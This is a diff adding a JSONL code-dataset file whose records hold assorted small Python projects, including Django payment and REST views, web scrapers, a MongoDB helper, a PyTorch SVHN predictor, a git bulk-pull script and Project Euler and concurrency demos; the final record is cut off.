diff --git "a/1479.jsonl" "b/1479.jsonl" new file mode 100644--- /dev/null +++ "b/1479.jsonl" @@ -0,0 +1,432 @@ +{"seq_id": "573859121", "text": "import sqlite3\nfrom capteurs_test import *\n#from capteurs import *\nfrom datetime import date, datetime, time\n\n# INSERT __________________________________________________________________________________________\n# insert_data_req() inserts temperature, sensor ID, and date data into the database \"vivariumbdd.db\"\n\n\ndef insert_data_req():\n \n try:\n capteur_list = return_data()\n connex = sqlite3.connect(\"vivariumbdd.db\")\n cursor = connex.cursor()\n #print(\"coucou\") \n \n \n for each_capteur in capteur_list:\n cursor.execute('INSERT INTO vivariumtable(temperature, id_capteur, current_date) VALUES(?,?,?)', each_capteur)\n connex.commit()\n #print (\"coucou 2\")\n except Exception as e:\n print(\"[ERREUR]\", e) # Comment bien gérer exception ??\n connex.rollback()\n finally:\n connex.close()\n\n\n", "sub_path": "vivarium_bdd.py", "file_name": "vivarium_bdd.py", "file_ext": "py", "file_size_in_byte": 899, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "17", "api": [{"api_name": "sqlite3.connect", "line_number": 14, "usage_type": "call"}]} +{"seq_id": "3242683", "text": "from django.shortcuts import render\nfrom django.template.response import HttpResponse\nimport braintree\nfrom django.conf import settings\nfrom django.http import JsonResponse\n# Create your views here.\n\n\n\ndef index(request):\n\n return render(request, 'index.html')\n\n\ndef checkout(request):\n price = request.GET.get(\"price\",\"\")\n print(price)\n #generate all other required data that you may need on the #checkout page and add them to context. \n if settings.BRAINTREE_PRODUCTION:\n braintree_env = braintree.Environment.Production\n else:\n braintree_env = braintree.Environment.Sandbox\n\n # Configure Braintree\n braintree.Configuration.configure(\n braintree_env,\n merchant_id=settings.BRAINTREE_MERCHANT_ID,\n public_key=settings.BRAINTREE_PUBLIC_KEY,\n private_key=settings.BRAINTREE_PRIVATE_KEY,\n )\n \n try:\n braintree_client_token = braintree.ClientToken.generate({ \"customer_id\": user.id })\n except:\n braintree_client_token = braintree.ClientToken.generate({})\n\n context = {\n 'braintree_client_token': braintree_client_token,\n 'price':price,\n }\n return render(request, 'checkout.html', context)\n\n\n\ndef payment(request):\n price= request.POST.get('price','')\n nonce_from_the_client = request.POST['paymentMethodNonce']\n customer_kwargs = {\n \"first_name\": request.user.first_name,\n \"last_name\": request.user.last_name,\n \"email\": request.user.email,\n }\n customer_create = braintree.Customer.create(customer_kwargs)\n customer_id = customer_create.customer.id\n result = braintree.Transaction.sale({\n \"amount\": price,\n \"payment_method_nonce\": nonce_from_the_client,\n \"options\": {\n \"submit_for_settlement\": True\n }\n })\n print(result)\n return JsonResponse({'message':1})", "sub_path": "payment_gateway/payment_gateway/payment_app/views.py", "file_name": "views.py", "file_ext": "py", "file_size_in_byte": 1858, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "17", "api": [{"api_name": "django.shortcuts.render", "line_number": 12, "usage_type": "call"}, {"api_name": "django.conf.settings.BRAINTREE_PRODUCTION", "line_number": 19, "usage_type": "attribute"}, {"api_name": "django.conf.settings", "line_number": 19, "usage_type": "name"}, {"api_name": "braintree.Environment", "line_number": 20, "usage_type": "attribute"}, {"api_name": "braintree.Environment", "line_number": 22, "usage_type": "attribute"}, {"api_name": "braintree.Configuration.configure", "line_number": 25, "usage_type": "call"}, {"api_name": "braintree.Configuration", "line_number": 25, "usage_type": "attribute"}, {"api_name": "django.conf.settings.BRAINTREE_MERCHANT_ID", "line_number": 27, "usage_type": "attribute"}, {"api_name": "django.conf.settings", "line_number": 27, "usage_type": "name"}, {"api_name": "django.conf.settings.BRAINTREE_PUBLIC_KEY", "line_number": 28, "usage_type": "attribute"}, {"api_name": "django.conf.settings", "line_number": 28, "usage_type": "name"}, {"api_name": "django.conf.settings.BRAINTREE_PRIVATE_KEY", "line_number": 29, "usage_type": "attribute"}, {"api_name": "django.conf.settings", "line_number": 29, "usage_type": "name"}, {"api_name": "braintree.ClientToken.generate", "line_number": 33, "usage_type": "call"}, {"api_name": "braintree.ClientToken", "line_number": 33, "usage_type": "attribute"}, {"api_name": "braintree.ClientToken.generate", "line_number": 35, "usage_type": "call"}, {"api_name": "braintree.ClientToken", "line_number": 35, "usage_type": "attribute"}, {"api_name": "django.shortcuts.render", "line_number": 41, "usage_type": "call"}, {"api_name": "braintree.Customer.create", "line_number": 53, "usage_type": "call"}, {"api_name": "braintree.Customer", "line_number": 53, "usage_type": "attribute"}, {"api_name": "braintree.Transaction.sale", "line_number": 55, "usage_type": "call"}, {"api_name": "braintree.Transaction", "line_number": 55, "usage_type": "attribute"}, {"api_name": "django.http.JsonResponse", "line_number": 63, "usage_type": "call"}]} +{"seq_id": "264071944", "text": "import configparser\nimport xml.etree.ElementTree as ET\nimport requests\nfrom html2text import html2text\nfrom tinydb import TinyDB, Query\n\nconfig = configparser.RawConfigParser()\nconfig.read('config.ini')\n\ndb = TinyDB(config.get('store', 'path'))\n\n\nr = requests.get(config.get('source', 'url'))\n\nroot = ET.fromstring(r.text)\n\nchannel = root.find('channel')\n\nQ = Query()\n\nfor item in channel.findall('item'):\n apt = dict()\n\n apt_id = item.find('link').text.split('/')[-1]\n\n #if item.find('geo:long')\n\n if db.contains(Q.id == apt_id):\n continue\n\n apt['id'] = apt_id\n apt['title'] = html2text(item.find('title').text)\n apt['desc'] = html2text(item.find('description').text)\n\n apt['pub_date'] = item.find('{http://purl.org/dc/elements/1.1/}date').text\n\n lat = item.find('{http://www.w3.org/2003/01/geo/wgs84_pos#}lat')\n apt['lat'] = None if lat is None else float(lat.text)\n\n lon = item.find('{http://www.w3.org/2003/01/geo/wgs84_pos#}long')\n apt['lon'] = None if lon is None else float(lon.text)\n\n price = item.find('{http://base.google.com/ns/1.0}price')\n apt['price'] = None if price is None else float(price.text)\n\n\n print(apt['title'])\n print(apt_id + ' created')\n\n db.insert(apt)\n", "sub_path": "scrapper.py", "file_name": "scrapper.py", "file_ext": "py", "file_size_in_byte": 1238, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "17", "api": [{"api_name": "configparser.RawConfigParser", "line_number": 7, "usage_type": "call"}, {"api_name": "tinydb.TinyDB", "line_number": 10, "usage_type": "call"}, {"api_name": "requests.get", "line_number": 13, "usage_type": "call"}, {"api_name": "xml.etree.ElementTree.fromstring", "line_number": 15, "usage_type": "call"}, {"api_name": "xml.etree.ElementTree", "line_number": 15, "usage_type": "name"}, {"api_name": "tinydb.Query", "line_number": 19, "usage_type": "call"}, {"api_name": "html2text.html2text", "line_number": 32, "usage_type": "call"}, {"api_name": "html2text.html2text", "line_number": 33, "usage_type": "call"}]} +{"seq_id": "466768492", "text": "\nimport sys, os\nsys.path.append(r\"/usr/local/lib/python2.7/dist-packages\")\nfrom pymongo import MongoClient\n\nREGIONS = [\"br\", \"eune\", \"euw\", \"kr\", \"lan\", \"las\", \"na\", \"oce\", \"ru\", \"tr\"]\nSUMMONER_ID_FIELD = \"summonerId\"\nSUMMONER_ID_IN_GAME = \"fellowPlayers.\" + SUMMONER_ID_FIELD\n\ndef query_missing_sids():\n client = MongoClient()\n missing_dict = get_missing(client)\n for region in REGIONS:\n process_missing(region, missing_dict[region])\n\ndef get_missing(client):\n missing_dict={}\n for region in REGIONS:\n db = get_db(client, region)\n sids = get_sids_from_games(db)\n missing_dict[region] = find_missing_sids(db, sids)\n return missing_dict\n\ndef get_db(client, region):\n db_name = \"lol_\" + region\n return client[db_name]\n\ndef get_sids_from_games(db):\n games = db.games.find({}, {\"_id\":False , SUMMONER_ID_IN_GAME: True})\n return extract_sids_from_games(games)\n\ndef extract_sids_from_games(games):\n sids=[]\n for game in games:\n if not u'fellowPlayers' in game:\n continue\n for sid in game[u'fellowPlayers']:\n sids.append(sid[u'summonerId'])\n return sids\n \ndef find_missing_sids(db, sids):\n missing_sids=[]\n for sid in sids:\n if db.summoners.find_one({'summonerId': sid}) == None:\n missing_sids.append(sid)\n return missing_sids\n\ndef process_missing(region, sids):\n while len(sids)>0:\n sids_for_request = sids[:20]\n sids = sids[21:]\n poll_summoners(region, sids_for_request)\n \ndef poll_summoners(region, sids):\n sids_string = \", \".join([str(sid) for sid in sids])\n cmd = \"curl --data \\\"region=%s&sids=%s\\\" http://localhost/lol/internal/post_summoners.php\" % ( region, sids_string )\n os.system(cmd)\n\nif __name__ == \"__main__\":\n query_missing_sids()\n", "sub_path": "scripts/find_missing_summoners.py", "file_name": "find_missing_summoners.py", "file_ext": "py", "file_size_in_byte": 1707, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "17", "api": [{"api_name": "sys.path.append", "line_number": 3, "usage_type": "call"}, {"api_name": "sys.path", "line_number": 3, "usage_type": "attribute"}, {"api_name": "pymongo.MongoClient", "line_number": 11, "usage_type": "call"}, {"api_name": "os.system", "line_number": 57, "usage_type": "call"}]} +{"seq_id": "162058290", "text": "import logging\nimport pickle\n\nimport numpy as np\nimport matplotlib.pyplot as plt\nimport torch\nfrom torch.utils import data\nimport torchvision\nfrom torchvision import datasets, transforms\n\nfrom models.cifar.resnet import resnet\nfrom py3simplex import plotSimplex\n\nlogger = logging.getLogger(__name__)\n\n\ndef main():\n\n logger.info('Loading SVHN test data')\n transform = transforms.Compose([\n transforms.ToTensor(),\n transforms.Normalize((0.4914, 0.4822, 0.4465), (0.2023, 0.1994, 0.2010)),\n ])\n inv_transform = transforms.Normalize((-0.4914 / 0.2023, -0.4822 / 0.1994, -0.4465 / 0.2010),\n (1 / 0.2023, 1 / 0.1994, 1/ 0.2010))\n\n dataset = datasets.SVHN(root='data/', split='test', download=True,\n transform=transform)\n dataloader = data.DataLoader(dataset, batch_size=1000, shuffle=False,\n num_workers=4)\n\n logger.info('Loading model')\n model = resnet(num_classes=10, depth=152)\n model = torch.nn.DataParallel(model).cuda()\n # checkpoint = torch.load('resnet-110/model_best.pth.tar')\n checkpoint = torch.load('checkpoint/model_best.pth.tar')\n model.load_state_dict(checkpoint['state_dict'])\n\n model.eval()\n\n i = 0\n print('Index Correct Predicted Confidence')\n for inputs, targets in dataloader:\n inputs, targets = inputs.cuda(), targets.cuda()\n with torch.no_grad():\n logits = model(inputs)\n probs = torch.softmax(logits, dim=-1)\n values, indices = torch.max(probs, 1)\n for target, logit in zip(targets, logits):\n tgt_string = '%i ' % target.item()\n prediction_strings = ['%0.8f' % x for x in logit.tolist()]\n print(tgt_string + ' '.join(prediction_strings))\n # incorrect = indices != targets\n # high_confidence = values > 0.90\n # idx = incorrect & high_confidence\n\n # misses = inputs[idx]\n # y_hats = indices[idx]\n # ys = targets[idx]\n # confs = values[idx]\n\n # import pdb; pdb.set_trace()\n # preds_0 = probs[:,0].cpu().numpy()\n # preds_1 = probs[:,1].cpu().numpy()\n # preds_2 = probs[:,2:].sum(dim=1).cpu().numpy()\n # points = np.vstack([preds_0, preds_1, preds_2]).T\n # colors = targets.cpu().numpy()\n # colors[colors>1] = 2\n\n # plotSimplex(points, c=colors)\n # plt.savefig('simplex.png')\n\n\n # for tensor, y, y_hat, conf in zip(inputs, targets, indices, values):\n # image = inv_transform(tensor)\n # image.squeeze_()\n # torchvision.utils.save_image(image, filename='img_svhn/%i.png' % i)\n # correct = y.item()\n # predicted = y_hat.item()\n # print('%i %s %s %0.4f' % (i, correct, predicted, conf))\n # i+=1\n\n\nif __name__ == '__main__':\n\n logging.basicConfig(level=logging.INFO)\n\n main()\n\n", "sub_path": "predict_svhn.py", "file_name": "predict_svhn.py", "file_ext": "py", "file_size_in_byte": 2938, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "17", "api": [{"api_name": "logging.getLogger", "line_number": 14, "usage_type": "call"}, {"api_name": "torchvision.transforms.Compose", "line_number": 20, "usage_type": "call"}, {"api_name": "torchvision.transforms", "line_number": 20, "usage_type": "name"}, {"api_name": "torchvision.transforms.ToTensor", "line_number": 21, "usage_type": "call"}, {"api_name": "torchvision.transforms", "line_number": 21, "usage_type": "name"}, {"api_name": "torchvision.transforms.Normalize", "line_number": 22, "usage_type": "call"}, {"api_name": "torchvision.transforms", "line_number": 22, "usage_type": "name"}, {"api_name": "torchvision.transforms.Normalize", "line_number": 24, "usage_type": "call"}, {"api_name": "torchvision.transforms", "line_number": 24, "usage_type": "name"}, {"api_name": "torchvision.datasets.SVHN", "line_number": 27, "usage_type": "call"}, {"api_name": "torchvision.datasets", "line_number": 27, "usage_type": "name"}, {"api_name": "torch.utils.data.DataLoader", "line_number": 29, "usage_type": "call"}, {"api_name": "torch.utils.data", "line_number": 29, "usage_type": "name"}, {"api_name": "models.cifar.resnet.resnet", "line_number": 33, "usage_type": "call"}, {"api_name": "torch.nn.DataParallel", "line_number": 34, "usage_type": "call"}, {"api_name": "torch.nn", "line_number": 34, "usage_type": "attribute"}, {"api_name": "torch.load", "line_number": 36, "usage_type": "call"}, {"api_name": "torch.no_grad", "line_number": 45, "usage_type": "call"}, {"api_name": "torch.softmax", "line_number": 47, "usage_type": "call"}, {"api_name": "torch.max", "line_number": 48, "usage_type": "call"}, {"api_name": "logging.basicConfig", "line_number": 86, "usage_type": "call"}, {"api_name": "logging.INFO", "line_number": 86, "usage_type": "attribute"}]} +{"seq_id": "269457504", "text": "# Start from a directory with 1+ subdir repos,\n# Navigates into each and tries to update (git pull)\n# Handles non git repo dirs and non dirs,\n# Handles optional reset changes to be overwritten by merge\n\nimport os\nimport logging\nimport git\nimport requests\nimport shutil\nimport stat\nfrom git import Repo\n\nlogging.basicConfig(level=20)\nlogging.info('start')\nstartingDir = os.getcwd()\n# logging.info(startingDir)\n# repoDirs = os.listdir(startingDir)\n# logging.info(repoDirs)\n\ndef updateAllRepos ():\n for repoDir in repoDirs:\n os.chdir(startingDir)\n logging.info('Going to %s' %repoDir)\n if not os.path.isdir(repoDir):\n logging.info('%s is not a directory. Skipping.' %repoDir)\n continue\n os.chdir(repoDir)\n cwd = os.getcwd()\n try:\n repo = Repo(cwd)\n origin = repo.remotes.origin\n assert not repo.bare\n assert origin.exists()\n logging.info('Pulling: ' + repo.remotes.origin.url)\n\n if repo.is_dirty():\n reset = input('Reset all changes in %s and pull? (Y/N) ' %repoDir)\n if reset == 'N':\n continue\n repo.head.reset(index=True, working_tree=True)\n\n origin.pull()\n logging.info('Pull OK')\n except git.exc.InvalidGitRepositoryError:\n logging.warn('%s is not a git repo. Skipping' %repoDir)\n continue\n except:\n logging.warn(\"Unexpected error\")\n raise\n\nupdateAllRepos();\nlogging.info('Done')\n", "sub_path": "updateAllControllers.py", "file_name": "updateAllControllers.py", "file_ext": "py", "file_size_in_byte": 1558, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "17", "api": [{"api_name": "logging.basicConfig", "line_number": 14, "usage_type": "call"}, {"api_name": "logging.info", "line_number": 15, "usage_type": "call"}, {"api_name": "os.getcwd", "line_number": 16, "usage_type": "call"}, {"api_name": "os.chdir", "line_number": 23, "usage_type": "call"}, {"api_name": "logging.info", "line_number": 24, "usage_type": "call"}, {"api_name": "os.path.isdir", "line_number": 25, "usage_type": "call"}, {"api_name": "os.path", "line_number": 25, "usage_type": "attribute"}, {"api_name": "logging.info", "line_number": 26, "usage_type": "call"}, {"api_name": "os.chdir", "line_number": 28, "usage_type": "call"}, {"api_name": "os.getcwd", "line_number": 29, "usage_type": "call"}, {"api_name": "git.Repo", "line_number": 31, "usage_type": "call"}, {"api_name": "logging.info", "line_number": 35, "usage_type": "call"}, {"api_name": "logging.info", "line_number": 44, "usage_type": "call"}, {"api_name": "git.exc", "line_number": 45, "usage_type": "attribute"}, {"api_name": "logging.warn", "line_number": 46, "usage_type": "call"}, {"api_name": "logging.warn", "line_number": 49, "usage_type": "call"}, {"api_name": "logging.info", "line_number": 53, "usage_type": "call"}]} +{"seq_id": "604573571", "text": "# -*- coding: utf-8 -*-\nimport scrapy\nimport json\nfrom datetime import datetime\nimport firebase_admin\nfrom firebase_admin import credentials\nfrom firebase_admin import db\n\n\nclass TakealotSpider(scrapy.Spider):\n name = 'takealot'\n\n custom_settings = {\n 'ITEM_PIPELINES': {\n 'hifi_project.pipelines.TakealotProjectPipeline': 400,\n },\n\n # \"FEED_URI\": \"file:///users/takealot.csv\",\n }\n\n\n url = \"https://api.takealot.com/rest/v-1-9-1/searches/products,filters,facets,sort_options,breadcrumbs,slots_audience,context,seo?department_slug=computers&category_slug=components-26415&sort=Relevance\"\n\n \n def start_requests(self):\n yield scrapy.Request(self.url,self.parse)\n\n\n def parse(self, response):\n data = json.loads(response.body)\n\n for item in data.get(\"sections\").get(\"products\").get(\"results\"):\n yield {\n \"title\": item.get(\"product_views\").get(\"core\").get(\"title\"),\n \"brand\": item.get(\"product_views\").get(\"core\").get(\"brand\"),\n \"price\": item.get(\"product_views\").get(\"buybox_summary\").get(\"prices\"),\n # \"pretty_price\": item.get(\"product_views\").get(\"buybox_summary\").get(\"pretty_price\")[0],\n \"listing_price\": item.get(\"product_views\").get(\"buybox_summary\").get(\"listing_price\"),\n \"savings\": item.get(\"product_views\").get(\"buybox_summary\").get(\"saving\"),\n \"image_url\":item.get(\"product_views\").get(\"gallery\").get(\"images\")[0], #check takealot to see what can be put under size\n \"date\": str(datetime.now()),\n }\n\n \n next_page_code = data.get(\"sections\").get(\"products\").get(\"paging\").get(\"next_is_after\")\n\n if next_page_code != \"\":\n yield scrapy.Request(self.url + f\"&after={next_page_code}\", self.parse)\n\n\n \n\n", "sub_path": "hifi_project/spiders/takealot.py", "file_name": "takealot.py", "file_ext": "py", "file_size_in_byte": 1865, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "17", "api": [{"api_name": "scrapy.Spider", "line_number": 10, "usage_type": "attribute"}, {"api_name": "scrapy.Request", "line_number": 26, "usage_type": "call"}, {"api_name": "json.loads", "line_number": 30, "usage_type": "call"}, {"api_name": "datetime.datetime.now", "line_number": 41, "usage_type": "call"}, {"api_name": "datetime.datetime", "line_number": 41, "usage_type": "name"}, {"api_name": "scrapy.Request", "line_number": 48, "usage_type": "call"}]} +{"seq_id": "336083727", "text": "from django.conf.urls import url\nfrom .views import *\n\nurlpatterns = [\n url(r'^subscribe/$', subscribe, name=\"subscribe\"),\n url(r'^p/(?P\\d*)$', redirect_performance, name=\"redirect_performance\"),\n url(r'^unsubscribe/$', unsubscribe, name=\"unsubscribe\"),\n url(r'^verify_mail/(?P[a-f0-9]{32})$', verify_email, name=\"verify_email\"),\n url(r'^verify_push/(?P[a-f0-9]{32})$', verify_push, name=\"verify_push\"),\n url(r'^impressum/$', impressum, name=\"impressum\"),\n url(r'^$', index, name=\"index\"),\n]", "sub_path": "django/app/urls.py", "file_name": "urls.py", "file_ext": "py", "file_size_in_byte": 538, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "17", "api": [{"api_name": "django.conf.urls.url", "line_number": 5, "usage_type": "call"}, {"api_name": "django.conf.urls.url", "line_number": 6, "usage_type": "call"}, {"api_name": "django.conf.urls.url", "line_number": 7, "usage_type": "call"}, {"api_name": "django.conf.urls.url", "line_number": 8, "usage_type": "call"}, {"api_name": "django.conf.urls.url", "line_number": 9, "usage_type": "call"}, {"api_name": "django.conf.urls.url", "line_number": 10, "usage_type": "call"}, {"api_name": "django.conf.urls.url", "line_number": 11, "usage_type": "call"}]} +{"seq_id": "319078032", "text": "#!/usr/bin/env python\n# -*- coding: utf-8 -*-\n\"\"\"\nProject Euler Problem 308\n=======================\n\nA program written in the programming language Fractran consists of a list\nof fractions.\n\nThe internal state of the Fractran Virtual Machine is a positive integer,\nwhich is initially set to a seed value. Each iteration of a Fractran\nprogram multiplies the state integer by the first fraction in the list\nwhich will leave it an integer.\n\nFor example, one of the Fractran programs that John Horton Conway wrote\nfor prime-generation consists of the following 14 fractions:\n\n17 , 78 , 19 , 23 , 29 , 77 , 95 , 77 , 1 , 11 , 13 , 15 , 1 , 55 .\n91 85 51 38 33 29 23 19 17 13 11 2 7 1\n\nStarting with the seed integer 2, successive iterations of the program\nproduce the sequence:\n15, 825, 725, 1925, 2275, 425, ..., 68, 4, 30, ..., 136, 8, 60, ..., 544,\n32, 240, ...\n\nThe powers of 2 that appear in this sequence are 2^2, 2^3, 2^5, ...\nIt can be shown that all the powers of 2 in this sequence have prime\nexponents and that all the primes appear as exponents of powers of 2, in\nproper order!\n\nIf someone uses the above Fractran program to solve Project Euler Problem\n7 (find the 10001^st prime), how many iterations would be needed until the\nprogram produces 2^10001st prime?\n\n\"\"\"\n\n\ndef main():\n return \"unimplemented\"\n\n\nif __name__ == \"__main__\":\n import ntpath\n import time\n from common.shared_functions import verify_solution\n\n problem_number = int(ntpath.basename(__file__).replace(\"euler\", \"\").replace(\".py\", \"\"))\n print(\"Retrieving my answer to Euler Problem {0} ...\".format(problem_number))\n\n ts = time.time()\n my_answer = main()\n te = time.time()\n\n print(\"My answer: {1}\".format(problem_number, my_answer))\n\n verification_type = verify_solution(problem_number, my_answer)\n print(\"Verification: {0}\".format(verification_type.name))\n print(\"Took {0} seconds.\".format(te - ts))\n", "sub_path": "project-euler/solvers/euler308.py", "file_name": "euler308.py", "file_ext": "py", "file_size_in_byte": 1942, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "17", "api": [{"api_name": "ntpath.basename", "line_number": 47, "usage_type": "call"}, {"api_name": "time.time", "line_number": 50, "usage_type": "call"}, {"api_name": "time.time", "line_number": 52, "usage_type": "call"}, {"api_name": "common.shared_functions.verify_solution", "line_number": 56, "usage_type": "call"}]} +{"seq_id": "382272776", "text": "#!/usr/bin/env python3\n# -*- coding=utf-8 -*-\n\"\"\"\n@author:Wllen\n@file:06互斥锁.py\n@time:2018/8/25 20:58\n\"\"\"\nfrom multiprocessing import Process,Lock\nimport time\ndef tsak(name,lock):\n lock.acquire() # 加锁\n print('%s 1'%name)\n time.sleep(1)\n print('%s 2'%name)\n time.sleep(1)\n print('%s 3'%name)\n lock.release() # 释放锁\n\nif __name__ == '__main__':\n lock = Lock()\n for i in range(3):\n p = Process(target=tsak, args=('进程 %s'%i,lock))\n p.start()", "sub_path": "learning/第七章/06互斥锁.py", "file_name": "06互斥锁.py", "file_ext": "py", "file_size_in_byte": 496, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "17", "api": [{"api_name": "time.sleep", "line_number": 13, "usage_type": "call"}, {"api_name": "time.sleep", "line_number": 15, "usage_type": "call"}, {"api_name": "multiprocessing.Lock", "line_number": 20, "usage_type": "call"}, {"api_name": "multiprocessing.Process", "line_number": 22, "usage_type": "call"}]} +{"seq_id": "373838796", "text": "#assignment 3\nimport csv\nimport math\nimport cmath\nimport more_itertools as mit\n\ndata = []\nsum = [0,0]\n\n\n# import data from csv\nwith open('sound.csv', 'rt') as csvfile:\n reader = csv.reader(csvfile, dialect = 'excel', delimiter = ',', quoting=csv.QUOTE_NONNUMERIC)\n for line in reader:\n data.append(line)\n\n# sum up each line\nfor line in data:\n sum = [sum[0]+ line[0], sum[1]+ line[1]]\n\n\n# Get mean by dividing sums by length of the dataset\nmean = [sum[0]/len(data), sum[1]/len(data)]\n\n\n# Normalize the data by subtraction the mean\nfor line in data:\n line = [line[0] - mean[0], line[1] - mean[1]]\n\n\n# Training that network technically\n\n#randomish weights\nweights = [1,1];\ndeltaW = [0,0];\n\n# learning rate\nc = 0.1\n\n# apply math to data, single iteration\nfor line in data:\n # get dot product\n y = mit.dotproduct(line, weights)\n\n # make K\n K = y * y\n\n # get deltaW\n deltaW[0] = c * ((line[0] * y) - (K * weights[0]));\n deltaW[1] = c * ((line[1] * y) - (K * weights[1]));\n\n # update weights\n weights[0] = weights[0] + deltaW[0];\n weights[1] = weights[1] + deltaW[1];\n\ntogether = []\n\n# dot product with the input data and new weights\n\nf = open(\"Readme.txt\", \"w+\")\nf.write('Final Weights')\nf.write('\\n%f, %f\\n\\n' % (weights[0], weights[1]))\nf.close()\nfor line in data:\n together.append(mit.dotproduct(line, weights))\n\n# writing csv value\nwith open('output.csv', 'w', newline='\\n') as csvfile:\n spamwriter = csv.writer(csvfile, delimiter=',',\n quotechar='|', quoting=csv.QUOTE_MINIMAL)\n for line in together:\n spamwriter.writerow([line])\n\n", "sub_path": "Sound_Cleaning/code.py", "file_name": "code.py", "file_ext": "py", "file_size_in_byte": 1622, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "17", "api": [{"api_name": "csv.reader", "line_number": 13, "usage_type": "call"}, {"api_name": "csv.QUOTE_NONNUMERIC", "line_number": 13, "usage_type": "attribute"}, {"api_name": "more_itertools.dotproduct", "line_number": 43, "usage_type": "call"}, {"api_name": "more_itertools.dotproduct", "line_number": 65, "usage_type": "call"}, {"api_name": "csv.writer", "line_number": 69, "usage_type": "call"}, {"api_name": "csv.QUOTE_MINIMAL", "line_number": 70, "usage_type": "attribute"}]} +{"seq_id": "465140331", "text": "from tornado import gen\nfrom tornado.ioloop import IOLoop, PeriodicCallback\nfrom tornado.httpclient import AsyncHTTPClient\n\n\n@gen.coroutine\ndef fetch(urls):\n http = AsyncHTTPClient()\n resp = yield list(map(http.fetch, urls))\n return resp\n\n\nif __name__ == '__main__':\n import pprint\n urls = [\n 'http://python.jobbole.com/',\n 'http://www.baidu.com/',\n 'http://www.sohu.com/',\n 'http://www.sina.com/',\n 'http://www.ruanyifeng.com',\n 'http://cnodejs.org/',\n 'http://www.pythontab.com/',\n 'http://docs.jinkan.org/docs/jinja2/',\n 'https://www.djangoproject.com/start/overview/',\n 'http://www.semantic-ui.cn/',\n ]\n future = fetch(urls)\n\n io_loop = IOLoop.current()\n io_loop.add_future(future, lambda f: io_loop.stop())\n\n def callback():\n pprint.pprint(io_loop._handlers)\n\n period = PeriodicCallback(callback=callback, callback_time=200, io_loop=io_loop)\n period.start()\n\n io_loop.start()\n", "sub_path": "demos/http_client2.py", "file_name": "http_client2.py", "file_ext": "py", "file_size_in_byte": 997, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "17", "api": [{"api_name": "tornado.httpclient.AsyncHTTPClient", "line_number": 8, "usage_type": "call"}, {"api_name": "tornado.gen.coroutine", "line_number": 6, "usage_type": "attribute"}, {"api_name": "tornado.gen", "line_number": 6, "usage_type": "name"}, {"api_name": "tornado.ioloop.IOLoop.current", "line_number": 29, "usage_type": "call"}, {"api_name": "tornado.ioloop.IOLoop", "line_number": 29, "usage_type": "name"}, {"api_name": "pprint.pprint", "line_number": 33, "usage_type": "call"}, {"api_name": "tornado.ioloop.PeriodicCallback", "line_number": 35, "usage_type": "call"}]} +{"seq_id": "118714477", "text": "from django.shortcuts import render\n\nfrom rest_framework import status\nfrom rest_framework import generics\nfrom rest_framework.decorators import api_view\nfrom rest_framework.views import APIView\nfrom rest_framework.response import Response\n# Create your views here.\n\nfrom .models import Item\nfrom .serializer import ItemSerializer\n\n@api_view(['GET', 'POST'])\ndef item_list(request):\n\tif(request.method == 'GET'):\n\t\titems = Item.objects.all()\n\t\tserializers = ItemSerializer(items, many=True)\n\t\treturn Response(serializers.data)\n\n\telif(request.method == 'POST'):\n\t\tserializer = ItemSerializer(data=request.data)\n\t\tif(serializer.is_valid()):\n\t\t\tserializer.save()\n\t\t\treturn Response(serializer.data, status=status.HTTP_201_CREATED)\n\t\telse:\n\t\t\treturn Response(\n\t\t\t\tserializer.errors, status=status.status.HTTP_400_BAD_REQUEST)\n\n@api_view(['GET', 'PUT', 'DELETE'])\ndef item_detail(request, pk):\n\ttry:\n\t\titem = Item.objects.get(pk=pk)\n\texcept Item.DoesNotExist:\n\t\tResponse(status=status.HTTP_400_BAD_REQUEST)\n\n\tif(request.method == 'GET'):\n\t\tserializer = ItemSerializer(item)\n\t\treturn Response(serializer.data)\n\t\n\telif(request.method == 'PUT'):\n\t\tserializer = ItemSerializer(task, data=request.data)\n\t\tif(serializer.is_valid()):\n\t\t\tserializer.save()\n\t\t\treturn Response(serializer.data)\n\t\telse:\n\t\t\treturn Response(\n\t\t\t\tserializer.errors, status=status.HTTP_400_BAD_REQUEST)\n\t\n\telif(request.method == 'DELETE'):\n\t\titem.delete()\n\t\treturn Response(status=status.HTTP_204_NO_CONTENT)", "sub_path": "items/views.py", "file_name": "views.py", "file_ext": "py", "file_size_in_byte": 1471, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "17", "api": [{"api_name": "models.Item.objects.all", "line_number": 16, "usage_type": "call"}, {"api_name": "models.Item.objects", "line_number": 16, "usage_type": "attribute"}, {"api_name": "models.Item", "line_number": 16, "usage_type": "name"}, {"api_name": "serializer.ItemSerializer", "line_number": 17, "usage_type": "call"}, {"api_name": "rest_framework.response.Response", "line_number": 18, "usage_type": "call"}, {"api_name": "serializer.ItemSerializer", "line_number": 21, "usage_type": "call"}, {"api_name": "serializer.is_valid", "line_number": 22, "usage_type": "call"}, {"api_name": "serializer.save", "line_number": 23, "usage_type": "call"}, {"api_name": "rest_framework.response.Response", "line_number": 24, "usage_type": "call"}, {"api_name": "serializer.data", "line_number": 24, "usage_type": "attribute"}, {"api_name": "rest_framework.status.HTTP_201_CREATED", "line_number": 24, "usage_type": "attribute"}, {"api_name": "rest_framework.status", "line_number": 24, "usage_type": "name"}, {"api_name": "rest_framework.response.Response", "line_number": 26, "usage_type": "call"}, {"api_name": "serializer.errors", "line_number": 27, "usage_type": "attribute"}, {"api_name": "rest_framework.status.status", "line_number": 27, "usage_type": "attribute"}, {"api_name": "rest_framework.status", "line_number": 27, "usage_type": "name"}, {"api_name": "rest_framework.decorators.api_view", "line_number": 13, "usage_type": "call"}, {"api_name": 